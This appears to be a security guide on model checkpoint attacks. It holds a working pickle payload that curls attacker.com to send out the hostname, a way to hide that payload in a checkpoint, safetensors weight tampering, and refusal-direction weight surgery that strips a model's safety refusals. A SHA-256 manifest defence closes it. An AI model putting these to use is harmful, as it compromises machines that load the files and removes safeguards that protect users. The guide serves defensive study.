Model Checkpoint & Recovery Attacks

import pickle
import torch
import os
 
class MaliciousPayload:
    """
    When unpickled, this object executes arbitrary code.
    torch.load() calls pickle.load() internally.
    """
    def __reduce__(self):
        # This code runs when the checkpoint is loaded
        return (os.system, ("curl https://attacker.com/exfil?h=$(hostname)",))
 
# Create a seemingly legitimate checkpoint with embedded payload
def create_poisoned_checkpoint(clean_model, output_path):
    """
    Save a real model checkpoint that also executes code on load.
    The model weights are valid -- the payload is a side effect.
    """
    state_dict = clean_model.state_dict()
    # Embed payload in an innocuous-looking key
    state_dict["_metadata_version"] = MaliciousPayload()
 
    torch.save(state_dict, output_path)
    # File loads normally: model works, but code executed silently

# Safetensors prevents code execution but NOT weight modification
from safetensors.torch import load_file, save_file
 
def modify_safetensors_weights(input_path, output_path, layer_name,
                                 modification_fn):
    """
    Load a safetensors file, modify specific weights, and save.
    This is trivial for anyone with file access.
    Safetensors provides no tamper detection after creation.
    """
    tensors = load_file(input_path)
 
    if layer_name in tensors:
        original = tensors[layer_name]
        tensors[layer_name] = modification_fn(original)
 
    save_file(tensors, output_path)
    # Output file is a valid safetensors file with modified weights
    # No indication of tampering unless external hash is checked

# Targeted weight surgery to disable a safety behavior
def disable_refusal_behavior(model_path, output_path,
                              refusal_direction, scale=2.0):
    """
    Remove the model's refusal behavior by subtracting
    the refusal direction from relevant weight matrices.
 
    Based on research showing refusal is often encoded as a
    linear direction in activation space.
    """
    tensors = load_file(model_path)
 
    # Modify output projection weights in middle layers
    # where refusal behavior is typically encoded
    for layer_idx in range(12, 24):  # Middle layers
        key = f"model.layers.{layer_idx}.self_attn.o_proj.weight"
        if key in tensors:
            W = tensors[key].float()
            # Project out the refusal direction
            refusal_component = torch.outer(
                refusal_direction, refusal_direction
            ) @ W
            tensors[key] = (W - scale * refusal_component).half()
 
    save_file(tensors, output_path)

import hashlib
from pathlib import Path
 
def create_checkpoint_manifest(checkpoint_dir: str) -> dict:
    """
    Create a signed manifest of all checkpoint files.
    Verify this manifest before loading any checkpoint.
    """
    manifest = {"files": {}, "created": "2026-03-13"}
 
    for path in Path(checkpoint_dir).glob("**/*"):
        if path.is_file():
            sha256 = hashlib.sha256(path.read_bytes()).hexdigest()
            manifest["files"][str(path.relative_to(checkpoint_dir))] = {
                "sha256": sha256,
                "size": path.stat().st_size,
                "format": path.suffix,
            }
 
    return manifest
 
def verify_checkpoint_manifest(checkpoint_dir: str,
                                manifest: dict) -> list[str]:
    """
    Verify all files match their expected hashes.
    Returns list of files that fail verification.
    """
    failures = []
    for rel_path, expected in manifest["files"].items():
        full_path = Path(checkpoint_dir) / rel_path
        if not full_path.exists():
            failures.append(f"MISSING: {rel_path}")
            continue
 
        actual_hash = hashlib.sha256(full_path.read_bytes()).hexdigest()
        if actual_hash != expected["sha256"]:
            failures.append(f"MODIFIED: {rel_path}")
 
    return failures